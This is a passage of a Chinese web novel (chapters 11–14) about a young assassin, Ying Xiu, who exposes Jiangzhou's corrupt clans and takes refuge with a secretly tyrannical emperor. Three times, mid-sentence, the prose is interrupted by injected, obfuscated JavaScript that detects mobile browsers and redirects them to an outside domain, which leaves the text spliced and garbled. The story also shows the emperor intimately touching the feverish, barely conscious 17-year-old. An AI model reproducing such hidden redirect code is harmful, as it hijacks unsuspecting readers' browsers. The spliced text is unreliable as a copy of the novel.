在他的印象中,眼前的少年总是格外的神秘,前几个月才搬进小秦淮这家小酒肆,一直深居简出,除了偶尔和店家说几句话以外,以及夜里会悄悄来偷书还书,把他们这些老少儒生的藏书都偷看了个遍以外,几乎不会与外界有任何联系。 他从前觉着少年身上有一股灵秀杀气,并非是嗜血杀欲,而是真正手上沾过血的气息,像开了刃的剑与没有开刃的剑之间的差距,能叫人望而却步。 现在却觉得,这人怎么说,倒是有点少年轻狂,济世救民的天真。 赢秀愣了,自从做了刺客,除了鉴心,他从未将真名诉之人耳,漂亮艶美的门客是例外。 就在薛镐以为眼前的少年不会告诉他真名的时候—— “赢秀,”少年道:“我叫赢秀。” 涧下坊十六渡题名之一,赢秀。 十六渡,以名声诱清流,又利用清流的名声迫使江州府衙答应修葺渡口。 大费周章,只是为了给素不相干的庶民建一道渡口。 商危君觉得这少年刺客真是有意思,难怪陛下愿意陪他玩家家酒的小游戏。 他一面想着,一面朝下望去。 楼台下,鲜血横流一地,冰冷腥臭,是个前来打探的探子,琅琊王氏长公子王守真派来的,大概误以为这里真的是门客住所,竟然单枪匹马地翻进院墙,企图寻找“谢舟”。 只是很可惜,这里没有他们要找的谢舟。 没有刺客赢秀的地方,也没有门客谢舟,有的只是残忍嗜血的帝王。 楼台上,一身白衣的昭肃帝正在抚琴,箜篌如有金石之声,又似万马奔腾,肃杀凛冽。 昭肃帝很少有弹琴的兴致,只有杀人时才会偶尔心血来潮弹上一段音。 这也意味着他有了新的乐子,比如挑动侨吴两姓分裂,旁观他们互相撕咬,两败俱伤。 制衡以御下,这是帝王之术。 至于少年刺客的做法…… 昭肃帝骤然停下拨弦的手,赢秀确实借了势,借的却不是士族权贵的势,借的是人心的欲望。 他很聪明,今年才十七岁,假以时日,他会成为一柄最好的刀,割疮剖脓,刀刀见血。 这柄刀不会留在琅琊王氏的手中太久。 昭肃帝冷眼看着底下粘稠的血迹,在赢秀面前总是温和淡漠的目光危险而冰冷。 “给王守真找点麻烦,不要让他有机会缠着赢秀。” 割开侨吴两姓的第一道刀,从王守真开始。 11. 第 11 章 向官署申请修葺十六渡之事尘埃落定,赢秀总算有了空闲,一闲下来却发现鉴心所住的私邸一片沉郁,上下都笼罩着愁云。 王守真的书房外。 侍卫一言不发,无声地朝赢秀摇了摇头,长公子现在忙于公事,只怕没有时间见他。 赢秀在门外站定,正犹豫着要不要转身离去,“吱嘎”一声,书房的紫檀槅门骤然自内打开。 披头乱发的王守真立在两扇敞开的门扉后,双手搭在门边,眼下两道清黑,显然已经有好几日不曾入眠了。 “扶危来了,进来吧。”他语气疲惫,对赢秀道。 赢秀何曾见过王守真这般模样,不自觉地蹙眉,走进书房,第一眼看到的是围坐在雕花案边埋头苦读的王氏门客,个个提笔乱舞,不知在写什么。 桌上案牍层叠,摊开的简牍上陈列着一个个姓名,这都是江州豪绅大户的名字。 建元年间,衣冠南渡过江,中原宗室在江左初来乍到,皇权式微,与两姓士族共治天下。 各地豪强拥兵自重,据守一方,虽说这些年来被朝廷慢慢分割削弱,渐渐不成气候。 但时至今日,豪绅大户在地方的势力依旧不容小觑,吴姓豪族在江州占据坞垒堡壁,僮仆成军,闭门为市。 在豪族眼中,那些没有籍贯的庶民是他们的财产。 而王守真要做的是,把江州所有庶民编户齐民,包括豪族豢养的“私产”,籍贯统一落在官署,以便安排徭役,征收赋税田租。 他出身侨姓,又是刚到江州不久,对江州的情势尚且摸不清楚,都说强龙斗不过地头蛇,何况他面对的还是整座江州的地头蛇,王守真无从入手,难免疲惫。 听完来龙去脉,赢秀找了个位置坐下,随手拿起一卷案牍细细看起来。 这些地方志是朝江州官署要来的,出自南士之手,不仅写得极其晦涩难懂,更有些上下文相悖,难辨真假对错,甚至还有不少缺页残片。 王守真从广陵带来的门客正在对着这些残页奋笔疾书,试图整理出江州真实的全貌,从中寻找突破口。 行文无比晦涩难懂,这些竖着的草书仿佛在眼前跳舞,赢秀看了几行便觉得头晕。 他放下简牍,问王守真:“何不找个江州人问问?” “我们并非没有找过,”一个门客陡然插话:“只是哪有那么容易?江州南士同气连枝,一致排侨,士族不会说,庶民不敢说,只能自己整理。” “其实,我在江州有几个好友,他们或许会告诉我。”赢秀道。 此话一出,满眼青黑,围案而坐的门客家臣齐刷刷地抬起头看向少年刺客。 在他们的印象中,这位刺客一向带着银白覆面,或者易容,神出鬼没,腰上剑光粲然,杀气令人望而生却。 这样满身煞气的人,才到江州几日,竟然能在南士管辖的江州结识好友?甚至能让对方将江州错综复杂的情势和盘托出…… 他们面面相觑,皆从彼此脸上看见了大大的“不信”二字。 说起久居江州、可能了解豪族阴私之人,赢秀倒是想起不少人来——与他共同题名在十六渡上的十五个吴姓儒生,还有涧下坊的庶民。 他和这些人关系匪浅,称得上一句好友。 王守真也不大相信赢秀能从南士口中得到有效的信息,但是毕竟没有什么成本,让他去问一问他那些所谓的好友,倒也无妨。 在此之前,他有一件很重要的事要和赢秀说,“扶危,谢舟也许和你想象的不一样。” 王守真苦口婆心:“他确实容色出众,但是人生在世,不能光看皮相,也要看内里,不要被人诓骗了去。” 他精挑细选,派去调查谢舟的僮客,再也没有回来。 琅琊王氏的僮仆绝不会叛逃,那只有一种可能—— 他死了,所以没能回来。 无论此事是不是谢舟做的,都足以说明,谢舟很危险。 身为刺客的赢秀靠近谢舟,是一件万分危险之事,一旦被对方查到身份,等待他的,或许是万劫不复。 “可是谢舟很善良,”赢秀道:“那一日我闯上他的船,袖里还揣着滴血的剑,他没有赶我下去,而是把我送到了岸边。” 王守真:“……” 听起来确实挺善良的。 换做他,若是有人提着带血的剑擅闯他的船只,他势必要将人扭送官署,查个水落石出。 沉默半响,在赢秀坚定不移的目光下,王守真不免有些自我怀疑。 难不成真是他多虑了?派去刺探情报的僮客之所以没有回来,也许是因为被谢氏其他人绊住了脚。 编户齐名是从京师传来的诏令,据说还有那位暴戾残忍的昭肃帝的口谕,眼下的情形实在容不得他分心,只能先解决完编户齐民之事,再来调查这个谢氏门客。 赢秀其实也有几分忐忑,不知那些南士到底会不会将有关江州豪族的秘辛告诉自己。 他忐忑地回到酒肆,忽视上峰从疑惑不解再到“你疯了”的目光,要了一大缸酒,徒手搬进房间,摆在十五个儒生面前。 老的少的十五个儒生同时发出了十五道吸气声。 古来文人墨客皆好酒,特别是像他们这种求仕无门、穷困潦倒的儒生,更是难以抵抗。 “日后修葺了十六渡,我们十六个人在江州地方志上也算有了姓名,只是……” 说到这里,赢秀满脸忧愁地叹了口气,顶着满屋子儒生不解的目光继续道:“江州那么多豪族大户,他们才是真正的为民造福,比起他们,我们什么都不算。” “为民造福?”一个几乎老得掉牙的儒生嗬嗬冷笑一声,接过赢秀递来的酒瓢,豪饮了一口,振振有词:“他们那些人干的事哪里比得过我们,我们才是真正的为民造福。” “可是,地方志上……”赢秀满眼怀疑,似乎不相信他说的话。 “地方志是豪族修的,他们想怎么写怎么写,”年迈的儒生醉醺醺道:“坐下!我给你讲讲那些人都做了什么好事。” 建元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845723|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年初,江州曾有这么一句童谣—— 廷尉狱,平如砥;有钱生,无钱死。 豪族犯罪,花钱消灾,百姓受冤,求告无门。 多少冤假错案,多少荒谬绝伦的解释,江水滔滔流过,掩埋了一切,有些东西却长长久久地留在江州百姓的心中。 借着今日这一缸好酒,不吐不快。 薛镐好似看穿了赢秀的目的,帮着给这群上了年纪、对江州事几乎是无所不知的儒生斟酒。 在这间酒气沸腾的狭小屋舍里,江州豪族大户的阴私被一一披露,赢秀的脸色慢慢严肃起来。 他是刺客,却并非不明事理,倘若他们说的都是真的,江州这些豪族,竟然如此无法无天。 他本想用豪族大户的把柄,逼迫他们配合鉴心编户齐名,现在却越听越气,只觉一股气从天灵盖往上涌,藏在身上的问心剑似乎也在隐隐震响。 本着不能听信一家之言的道理,赢秀又去了一趟涧下坊。 涧下坊住的全部都是鱼龙混杂的侨姓庶民,这些人饱受兵燹之苦,亲朋死的死,病的病,他们作为死剩下的人,从中原南渡江左,颠沛流离,在豪族之间夹缝求存。 没人比他们更清楚江州豪族到底是一群怎样的人。 庶民讥谤豪族,是大罪。 倘若被豪族发现,他们会永无宁日。 是以,无论是对谁,涧下坊的庶民始终紧咬牙关,不肯泄露半个字。 但在赢秀面前,沉默了很久的人们选择了开口。 以昔日的江州坞主相里玦为首,再到与其宦婚勾连的豪强商吏…… 赢秀提着上好的白米一家一家地走,每一家都坐了很久。 三天后,他再次回到王守真的书房。 这里依旧案牍高叠,门客们围案而坐,埋头苦干。 看见赢秀回来,他们也只是略微掀了掀眼皮,随后一刻不停地,继续埋头在案牍中。 没人觉得这个过分年轻,且只会刺杀的刺客能在短短三日剖陈江州形势。 就连王守真也是如此。 他想让赢秀过阵子,好歹等到他们梳理完这些卷宗再来,届时他也能腾出空,闲暇之余听一听赢秀那些好友到底能说什么有用的讯息。 王守真刚想开口,一抬头看见赢秀清澈明亮的眸瞳,少年的目光就像澄澈剑光,锋芒毕露,他话到嘴边,不知怎么又咽了下去。 有门客替他开口,态度客气,语气疲惫沉重,像是警告不知事的孩童不要再胡闹折腾: “赢公子,我们现在在忙,你有什么想说的,可否等我们忙完了再来?” “我有江州豪族的把柄,”赢秀从怀里拿出一叠纸笺,“我走访了吴姓的儒生,还有住在涧下坊的侨姓百姓,他们——” “赢公子,” 案牍劳形,满脸疲倦的门客骤然打断他:“豪族的把柄哪是那么好拿到手的,怕不是你那些好友胡诌的,平日叨扰长公子,长公子也不与你计较,现在这个关头,你还要胡闹么?” 12. 第 12 章 一个门客打开槅门,要让赢秀出去,赢秀上前两步,将手中厚厚一摞的纸笺拍在案几上。 有人探头看了几眼,目光渐渐严肃起来,这上面字字句句,写的全是江州豪族的阴私。 倘若是这些把柄都是真的,整座江州豪绅再也不足为惧。 一时之间,没人顾得上讥讽赢秀,各人拣了几张纸笺一目十行地看,越看越凝重。 “这些……”先前嘲笑赢秀的门客嗫嚅着问道:“都是你的好友告诉你的?会不会有假?” “是真是假,一查便知。”赢秀道。 比起残破错漏的地方志,这些纸笺显然更为重要。 王守真不惜调动了琅琊王氏在江州所有的门客,胥史,书办,幕僚,细作去调查这些纸笺内容的真伪。 这些人动作隐秘而谨慎,没有惊动江州豪族。 等待调查结果的过程中,几位驻守在私邸中的门客正在逐字逐句地对照着地方志,一一辨析纸笺上的内容。 时不时抬起头,目光复杂地看赢秀一眼。 毕竟谁能想到,这样一个年少无知,出身乡野的卑微刺客竟然有这样的手段,能在短短三日内摸清江州的情势,厘清错综复杂的脉络。 此人的城府和智谋远超他们所想,只是不知道,这样一把文武双绝的秀剑,长公子到底能不能攥得住。 赢秀被他们看得心里发毛,不自在地拢了拢袍裾。 他怎么觉得,这些人看他眼神好像在看一件上好的冷剑,既有赞赏,又有畏惧。 等到琅琊王氏的僮客带着初步的调查结果归来,赢秀发觉门客们看他的目光变得更加古怪了。 无他,赢秀带来的那些纸笺,上面写的每一个字都有据可查,在延尉狱的卷宗里对得上号。 只要追根溯源找到证据,他们便掌握了江州大部分豪族的把柄,足以从豪强密不透风的坞堡壁垒中撬开一道巨大的豁口,实落朝廷编户齐民的国策。 王守真面色复杂地望着赢秀,脑海中莫名浮现出一个不相干的念头——无论谢舟再怎么城府深沉,不可小觑,赢秀并非没有招架之力。 早在建元八年在广陵道见到赢秀,他该知道赢秀是个聪慧过人的孩子。 一夕之间,王氏上下对赢秀骤然改观,认为他深藏不露,高深莫测。 而深藏不露,高深莫测的赢秀正在谢氏门客的客舍内走来走去,走去走来。 他两只手都抱得满满的,一手抱着买来的草料,一手拥着小秦淮里采来的莲花。 他还记得上回和谢舟说,要与他一同喂鹿,一朝忙完了渡口和王氏的事,便忙不迭地来了。 等谢舟来了,可以一边喂鹿,一边和谢舟说说这段时间发生的事。 他这段时间可厉害了! 不仅得到官署批准,准备在涧下坊修葺一座渡口,而且还设法收集了江州豪强的秘辛。 这些事,寻常的刺客可做不到。 也不知谢舟有没有听说修渡口之事,倘若听说了,又是什么反应。 赢秀在中堂来回踱步,满心期待。 好像已经过了很久,又好像只是过了短短一息,中途赢秀跑去看了堂外的日晷,发现竟然还不到一息时间。 身后骤然传来脚步声,青年身姿高挑颀长,素袍兰冠,洁白郁美。 眉眼俊美冰冷,长眉入鬓,薄目细梁,乌秀清冷的长睫低覆,眸瞳里倒映着赢秀纤秀峻拔的身影。 谢舟分明生了一副天仙似的面孔,神情却冰冷淡漠,仿佛对世间万物都不在意。 赢秀愣愣地看着他,就连手里抱着的名贵草料不知何时掉了一束下去也没注意。 少年似乎总是在看着他的时候失神,上上回掉了随身携带的剑,上回掉了莲花,这回掉了草料。 一时间没人说话,赢秀还在失神,向来敏锐的刺客甚至都没有意识到自己在失神。 他在想,即使走遍整个江左,一路北上走到中原去,只怕都不会再遇见第二个像谢舟这般好看的人。 “这是给鹿带来的?” 谢舟温凉平静的声音清晰地传进赢秀的耳廓,他如梦初醒,手忙脚乱地搂住草料和莲花,“对,我想和你一起喂鹿,”他想了想,又补了一句:“上次和你说好的。” 垂髫童子引着雪鹿走了过来,雪鹿隔着老远就看见了赢秀,精准地绕过亭台楼阁,姿态优雅地朝他走来。 准确来说,是朝他怀里的莲花走来。 雪鹿走到赢秀面前,看都不看赢秀斥巨资买的草料,缓缓低下高贵的头颅,慢悠悠地咀嚼着赢秀怀里的莲花。 一旁的谢舟发现了不对劲:“……我的呢?” 赢秀第一次登门时,还给他带了莲花。 没想到谢舟竟然真的会在意这个,顶着谢舟平静中带着质询的目光,赢秀从袍裾里掏出一个小巧的盒子,外形是琉璃灯,里面是个小巧的沙盘,上面插着一只旌旗,写着中原王师四个字。 “上次你给我看了舆图,说中原才是你的故乡,我在涧下坊看见百姓家里藏着中原的故土,便向他们讨了一点来,”赢秀很是忐忑,声音渐渐低下来:“不知道你喜不喜欢……” 当年羌人犯禁,中原兵燹迭起,百姓不得不背井离乡,离开中原南渡江左时带走了一抔故国的黄土。 粗糙,单薄的土粒寄托了无数人对故国的神往。 梦里有时身化鹤,人间无数草为萤。 中原故土做的沙盘装在琉璃灯里,烛火一点,金沙漫天,像极了萤火。 谢舟伸手接了过去,细细地端详。 “我很喜欢。” 赢秀暗自深呼了一口气,表面平静,心里却有个小人在手舞足蹈。 谢舟喜欢,好耶! “这些黄土来自涧下坊的百姓?”谢舟问道。 江左很大,有八个州郡,无数个镇甸,若不是因为赢秀,谢舟大概永远也不会注意到这一座小小的居坊。 “是,他们都是侨人,说来奇怪,好像住在那里的大部分人都是来自中原翼州的。”赢秀随口道。 中原,翼洲。 谢舟记得这个地方,翼洲曾经出了一位流民将军,后来提携部曲南渡江左,当了一个坞主。 再后来—— 通敌叛国,犯上弑君。 谢舟的笑意慢慢冷却了,他命人收起盛着中原故土的琉璃灯,“你要给涧下坊修渡口。” “你也听说了呀,我想着涧下坊位于沅水下游,届时运河竣工,通向荆州,倒是比上游方便些。” 赢秀解释道:“最重要的是,也能让坊中百姓的日子好过些。” ——他简直不像一个刺客,天底下不会再有像赢秀这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845724|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刺客。 谢舟温声道:“你做得很好。” 和谢舟一同喂完鹿,闲谈了几句,天色渐晚,编户齐民之事还未曾解决,赢秀还得赶回去,只得依依不舍地告辞。 他走出去几步,又回头看向谢舟,浩荡长风吹起堂下竹帷,白衣门客静坐在堂中,雪鹿安静地伏在他脚下。 见他回头,门客和鹿都朝他看来。 赢秀心里忽然有一种说不出来的感觉,他痴痴地站了一会儿,转身又要走,却听见身后传来门客的声音:“一路小心。” ——“一路小心。” 刺客的直觉向来敏锐,他从这句话中隐约嗅到了风雨的气息,但他当时还不能解其意,只当是自己多想了,随后继续朝外走去。 …… 江州风雨欲来。 还不等江州别驾王誉奉朝廷诏令,在江州开始改弦更张的第一步编户齐名,便发生了一件大事—— 沅水堰口出事了。 一处名为宝瓶口的堰口溃坝,短短半个时辰,沅水一泻十里。 赢秀记得,前几天薛镐还叩响他的房门,问他要不要乘舟去宝瓶口清谈,说是有豪绅宴请,他腾不出空便拒绝了。 算算时间,今夜恰好是薛镐他们出去泛舟清谈的日子。 宝瓶口是涧下坊庶民修葺的堰口,由江州别驾王誉亲自督工,如今不是汛期,却莫名其妙地溃坝,倘若找不出缘由,修堰的庶民会死,王誉也要问罪。 连带着举荐庶民的赢秀,以及王誉背后的琅琊王氏长公子也会受到牵连。 怠慢河坊,修筑不坚的罪名,他们一个都逃不了。 在此之前,他得去找人,去把十五个好友找回来。 若不是他向儒生们探查豪绅的秘辛,只怕今夜也不会发生这件事,他们也不会出事。 秋深水寒,四面昏黑,距离堤坝不远的平地上。 赢秀挽起裤腿,露出一截白皙纤韧的小腿,双脚趟在漫上来的江水中,一手按剑,一手提灯,往下走去,走入尚在汹涌的江水中。 江水起先只是重重拍打他的木屐,后来慢慢地,一寸寸地没过他的脚踝,小腿,大腿…… 身后有人呼喊他的名字:“赢秀!你给我滚回来!等到水退了我们再找人!赢秀——!” 王守真的声音从所未有的尖利嘶哑,高台上,簇拥在他身侧的水监渠佐史和守堤兵一脸惊异地看着他。 都说琅琊王氏长公子王守真,是中原琉冠,士族羽仪,为人明公正道,温润而泽,今日怎么…… 高台下,少年继续往前走,他用了轻功,乌黑袍裾浮在水面,轻捷得像朵暗色的花。 水中昏黄朦胧的灯影照着花影,蹁跹起落。 人影,灯影,火光,星光,随着一重重漫上来的江波晃动,扭曲得像一条条透明的鳞蛇。 “赢秀!你疯了!为了找那帮贱民自己找死!” 在他身后,有人跳下高台,急奔而来,一把拉过赢秀湿透的袍裾,抓住他的手,随后重重抬手—— “啪——” 一声脆响。 惊得高台人声鼎沸。 赢秀被打得偏过头去。 他没有说话,迅速挣脱王守真铁钳似的手,继续涉水往前走。 在不远处,那里飘着一叶倒着的蚱蜢舟,底下船舱紧闭。 13. 第 13 章 赢秀提剑劈开蚱蜢舟的底部,映入眼帘的是漆黑一片的船舱,倒置在水中,狭小幽深。 他毫不犹豫地涉水游入黑暗中,全身都浸在冰冷江水中,环顾四面—— 蚱蜢舟的船舱不大,寥寥几眼便能看遍。 此处没有人。 本应待在蚱蜢舟上的儒生不知身在何处,没看见尸首,赢秀心内绷紧的弦总算松懈了些。 正在此时,他听见外面遽然传来一阵尖厉的急呼:“人找到了!” 那十五个本应被决堤的江水淹没在船上的儒生,找到了。 江水退去的堤坝上,一艘大舶正朝这边来,船头站着十几道身影,正在往这边挥手。 老的少的,全是熟悉的面孔。 一个,两个,三个,四个……总共十五个人,一个不少。 赢秀愣愣地看着这些人,眼眶微微红了,融化的易容晕开一点斑驳颜色,巴掌印更加明显,所幸在黑暗的江面上看不清楚。 远远看见旌旗,这是建章谢氏的船,上面的人是谢舟派来的。 “谢舟呢?”赢秀浑身湿漉漉的,眸瞳睁得很大,一眨不眨地盯掌舵的谢氏僮客,“他也在船上么?” 谢氏僮客用看大熊猫的眼神看了赢秀一眼,冷静的语气里透着隐隐的恭敬:“他不在船上。” 至于今夜为何能如此巧合地救下那群儒生,僮客是这样解释的—— 谢舟派他们来宝瓶口附近买东西,船上有堪师觉得水线不对劲,驱散了渡口的人,顺带拦下了要泛舟清谈的儒生,将他们请上了属于谢氏的大舶。 僮客还说,之所以请他们上船,是因为他们是赢秀的朋友,而赢秀,是谢舟的好友。 谢氏僮客,亦或者称他们为五校尉之一的长水,奉昭肃帝之命盯着江州豪族,稍有异动,便事无巨细地汇报。 皇帝素来不插手士族之间的党争,甚至有意推动,但前几日皇帝颁了口谕,要保赢秀的好友。 有皇帝这句话,任他堤坝决堤,洪水滔天,也动不了那十五个儒生。 谢舟的人救了他的好友。 赢秀愣在原地,有些不敢置信,天下竟有这样的巧合,情绪的大起大落让他有些疲惫,茫然地问了一遍:“……谢舟在哪?” 事关昭肃帝的下落,校尉本不应该向外人透漏,但是这是问这话的是赢秀,昭肃帝的新宠,他犹豫了一会儿,答道:“麓山客舍。” 换言之,谢舟今夜没有外出,依旧待在客舍中。 赢秀迫不及待地想要见到谢舟。 在此之前,还得确认薛镐他们的安危。 十五个儒生一个不少,都好好地站在堤坝上,薛镐甚至还有心和赢秀开玩笑:“你脸上怎么了?涂了粉?还是被人打了?。 王守真那一巴掌打得赢秀脸颊发烫,痛意还残存在脸上,一阵一阵的。 他摸了摸那道肿胀的痕迹,语气轻松:“没事,来的时候傅了点粉。” 薛镐疑心未消,借着江上月光盯着赢秀,不是,这怎么看都像巴掌印。 再看赢秀身后,那个面色不善,明显就是士族公子的青年,薛镐似乎明白了什么。 …… 与此同时,月光照在麓山客舍中,照亮静静躺在案几上的简牍。 字迹笔锋灵秀,杀纸而行。 倘若赢秀在此,他便会认出这是他的字迹,上面的内容全部出自他手,写的是江州豪绅见不得人的隐私。 月光照不到的地方,昭肃帝静静地坐在黑暗中,半边脸的轮廓都隐藏在黑暗中,看不出他在想什么。 圣心难测。 商危君此时只有这一个想法,江州豪绅做的这些事在他们看来,倒也不算什么,倘若揭露在日光底下,能让江州豪绅的血溢满沅水,倘若密而不揭,便无事发生。 这些豪绅的生死,只看陛下的态度。 皇帝静坐着,案几上放着一盏琉璃灯,内里盛着中原故土,上面有中原王师四个字。 ——是那个刺客送的。 皇帝将其摆在案前。 琉璃灯旁放着那些简牍。 倘若要将简牍上的内容宣之于众,大白于天下,要拔掉多少棵根深叶茂的大树,从豪绅至家臣杀掉多少个人,数目之众,甚至让刽子手的刀口钝得掉渣。 然而昭肃帝是暴君,暴君是不会有所顾忌的。 他轻轻点了点简牍上面的名字,语气很轻,“彻查。” 一个一个查,一个一个杀。 早在赢秀写出这些简牍之时,悬镜司便已经暗中查明了真假,不同于琅琊王氏的迟钝,他们手段隐蔽,动作迅速,不出三日便将积年累月的陈年案牍查了个一清二楚。 接下来,豪绅的血,会染红整个沅水河道。 满堂肃杀。 帝王静静坐在黑暗里,琉璃灯影下,投在壁上的影子像是蛰伏的巨兽,可怖危险。 “陛下,”出身悬镜司的童子轻手轻脚地走进,低声禀报:“赢公子来了。” 就连童子也有些疑惑,那是赢秀么,湿漉漉的,像是淋了雨的秀剑,乌黑鬓发黏在雪白脸颊上,平日用乌绫扎起的高马尾也浸了水,发尾蜷缩在肩后,甚至有几缕贴在锁骨上。 一侧脸上红红的,似乎是个掌印,少年还特意用头发遮了,似乎不想让人看见。 “……谢舟,”浑身湿透的赢秀抱着问心剑立在月洞门前,看起来想要进门,却又不敢。 坐在黑暗里的谢舟缓慢眨了眨眼,看清他的模样,剑眉微蹙,语气很冷,几乎是不加掩饰的冰冷,“谁打的你?” 赢秀没有回答这个问题,依旧抱着剑,试探着,慢慢地向前走了两步,湿哒哒的衣裳黏在他身上,走过的地方蜿蜒着一道水迹。 “谢舟,谢谢你救了我的好友,如果今夜没有你的船出现,只怕他们……” 赢秀有些语无伦次地说着话,来的路上,他一直在反复想这件事,倘若没有谢舟的人恰好出现,又恰好救了薛镐他们,只怕他们真的会溺毙在江水中。 深夜贸然登门,形容狼狈,浑身湿漉漉,像是被雨打湿的秀气的花。 谢舟盯着赢秀脸上的巴掌印看了一会儿,他向来在赢秀面前温和有礼,不曾说过一句重话,现在却再次重复了一遍: “赢秀,是谁,打了你?”白衣青年语气平静,循循善诱,赢秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845725|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至从中听出了蛊惑的意味。 蛊惑他说出那人的名字。 赢秀莫名有种浑身发凉的感觉,没来由的恐惧感像是毒蛇,缓缓索紧他的脖颈,冰冷可怖,让他喉咙有些发涩,声音都沙哑起来。 “……是我自己摔的,”赢秀没有说出王守真的名字,只是顶着对方平静的目光,努力地解释道:“今夜宝瓶口溃堤,我去救人,结果在水里摔了一跤,摔到了脸……” 摔出了一道巴掌印。 谢舟无比平静地听着赢秀胡扯,一直耐心地等到少年说完,“所以,你来做什么?” 深夜来访,究竟意欲何为。 分明这句话无比正常,有客不请自来,主人问他造访的目的,这再正常不过了。 赢秀的脑子乱得像是浆糊,耳边还嗡嗡的,被打过的脸上还在发烫,脑袋似乎也在隐隐发烫。 “我,”少年嗫嚅着,“我没有地方去了。”他满眼期待地看向谢舟,“我能不能暂住在你这里……” 王守真当众打了他一巴掌,还骂他的好友是贱民,他暂时不想再看见王守真,也不想给琅琊王氏当什么刺客了,只想留在谢舟身边。 谢舟会拒绝他吗? 方才还用那么疏离客气的语气和他说话,好像他们对彼此来说只是陌生人…… 赢秀烧得有点糊涂的脑袋骤然清醒了一下,他和谢舟,其实关系平平,远没有他想象的那么亲密。 谢舟会拒绝他吧…… 一下子焉掉的少年刺客脸颊发烫,为自己的僭越而脸红。 他想要转身逃离这里,双腿却好像被钉住,寸步难行。 “好。”谢舟道。 那道温凉低沉的,带着磁性的声音传进赢秀耳中,那一刻,他感觉自己简直要昏倒了。 “你浑身都湿了,”不同于少年忐忑、激动的心情,谢舟平静地描述着他狼狈不堪的模样,命令他:“先去洗漱。” 谢舟让他留下,还叫他洗漱。 赢秀满脑子都是这两句话,他晕乎乎地往外走去,脚下好像踩着浮云,软绵绵的,怀里还抱着剑,放在心口的位置,捂得很紧。 悬镜司的童子惊愕地看着乌衣少年原地转了个圈,直直地往楹柱走去,眼看就要撞上了—— “赢秀,”谢舟骤然叫住他。 “啊?”赢秀转了回来,看向月洞门高大的雪白石壁,睁着眼,迷迷糊糊问道:“谢舟,怎么了?” 谢舟:“……” 童子要去拉赢秀,牵引他找到合适的路。 却见屋内雪白的身影动了,皇帝亲自走出来,童子吓得连忙跪下。 低头间只看见面前曳过雪白袍裾,随后是皇帝高大恐怖的影子,投在青石板上,慢慢的,那影子怀里似乎又多了一道影子。 “谢舟你别箍那么紧,我好疼呀!”少年已经烧得迷迷糊糊,胡乱地蹬着两条纤细劲韧的腿,木屐被他蹬到地上,露出细挑脚踝。 “是谁打了你?”谢舟又问。 冰冷苍白的大掌摩挲着赢秀发烫的脸颊,一寸寸,描摹着那道发红的掌印。 指尖所至,易容慢慢剥落,露出刺客真正的脸。 14. 第 14 章 抹去暗色的脂泥,没了那层薄薄的伪饰,少年真正的脸秀气灵动,骨相清峻,乌秀的眼睫颤动着,小钩子似的,轻轻扫过昭肃帝冰冷的指腹。 皇帝新奇地拨弄他的细睫,隔着薄而秀气的眼皮触碰他的眼球,浑圆的两颗,在他手下轻颤,似乎一戳即破。 高烧的刺客浑身发烫,闭着眼睛,蜷缩在他怀里,缩成湿漉漉的一团,纤细软韧的腰还不自觉地拱了拱,小声地呓语着什么。 昭肃帝俯首去听,贴近那张翕动的唇,红艳艳的,像是雨打湿的花瓣。 总算听见几个模糊的音节,他在叫谢舟谢舟,谢舟真好看。 赢秀很喜欢自己这张脸。 初见时,昭肃帝便知道了。 他用指腹轻轻拨弄那张唇,两瓣艳色,柔软的,带着鲜活的温度。 刺客生得很灵秀,湿白的脸在发烫,鬓发湿漉漉地黏着,人也迷糊,张着口,露出细白的齿,似乎想要咬他。 昭肃帝任由他咬着,留下一道浅浅的齿印。 …… 赢秀从梦中惊醒,下意识伸手摸了摸自己的嘴巴,他记得昨晚好像咬了什么东西,咬得他牙关发涩,发软。 ……一定是做梦吧? 他刚要放下手,突然察觉出不对劲,用手胡乱摸了几下脸,好似遭了当头一棒,整个人都愣在床上。 易容没有了,消失得一干二净。 他现在用的是自己真正的脸。 “刺啦——” 一只纤细白皙,覆盖着些许伤疤的手骤然拉开纱幰,探出一个乌发凌乱的脑袋,露着一双灵秀的眸瞳,对着卧房东张西望。 这是一间三罩的静室,床的左侧是临窗而设的暖炕,右侧摆着条案,正中隔垂帘门,中间铺着地衣,放着棋桌。第三罩悬着架格,上面陈列着满墙卷牍。 清幽渺远,广阔明亮。 赢秀赤着脚从床上跳了下来,在床边暖炕的矮案上看见了自己的剑,昨夜被他用来劈船的问心剑静静躺着。 昨夜来得匆忙,除了这柄剑,他什么也没有带来。 赢秀拔出剑,借着漼淮剑身端详着自己的脸。 比起之前那张易容,这张真正属于他的脸对他来说显得太过陌生。 